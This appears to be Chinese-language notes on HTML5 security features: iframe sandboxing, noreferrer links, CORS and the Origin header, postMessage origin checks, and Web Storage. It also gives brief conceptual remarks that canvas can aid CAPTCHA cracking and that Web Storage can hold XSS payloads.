有的行为即使设置了allow-scripts,也是不允许的,比如”弹出窗口“
1 | <iframe sandbox="allow-same-origin allow-forms"></iframe> |
毫无疑问,iframe的sandox属性将极大地增强应用使用iframe的安全性。
Link Types: noreferrer
在HTML5中为<a>
标签和<area>
标签定义了一个新的Link Types: noreferrer。
浏览器在请求该标签指定的地址时将不再发送Referer。
1 | <a href="xxx" rel="noreferrer">test</a> |
这种设计是出于保护敏感信息和隐私的考虑。
Canvas的妙用
canvas可以让javascript在页面中直接操作图片对象,也可以直接操作像素。
所以完全可以用canvas实现简单的验证码破解功能,在浏览器中实现在线破解,这大大降低了攻击门槛。
其他安全问题
Cross-Origin Resource Sharing
W3C委员制定了一个新标准来解决跨域访问问题。
假设从http://www.a.com/test.html
发起一个跨域的XMLHttpRequest请求,请求的地址为:http://www.b.com/test.php
如果服务器www.b.com返回一个HTTP Header:
1 | Access-Control-Allow-Origin: http://www.a.conm |
这个跨域请求就会被通过。
在这个过程中,http://www.a.com/test.html
发起的请求浏览器还会自动带上一个Origin Header
1 | Origin: http://www.a.com |
它可以用于防范CSRF攻击。
当然对于这个标准,还有很多http header可以用于更精确的控制。
1 | Syntax |
postMessage——跨窗口传递消息
postMessage允许每一个window(包括当前窗口、弹出窗口、iframes等)对象往其他的窗口发送文本消息,从而实现跨窗口的消息传递。这个功能是不受同源策略限制的。
所以在使用postMessage时,有两个安全问题需要注意。
1.在必要时,可以在接收窗口验证Domain,甚至是URL,以防止来自非法页面的消息。
2.如果是将消息写入innerHTML,则可能导致DOM based XSS的产生。根据”Secure By Default“原则,应该对消息进行安全检查。
Web Storage
过去浏览器通用化的存储信息的方法只有Cookie,Cookie主要用于保存登录凭证和少量信息,其最大长度的限制决定了不可能存储太多信息,而Web Storage可以。
Web Storage分为Session Storage和Local Storage。Session Storage关闭浏览器会失效,而Local Storage则会一直存在。它就向一个非关系型数据库,由Key-Value对组成,使用js方法window.sessionStorage.setItem(key, value)和window.sessionStorage.getItem(key)可以存取值。
Web Storage也受同源策略的约束,每个域所拥有的信息只会保存在自己的域下。
Web Storage的强大功能也为XSS Payload大开方便之门。攻击者有可能将恶意代码保存在Web Storage中,从而实现跨页面攻击。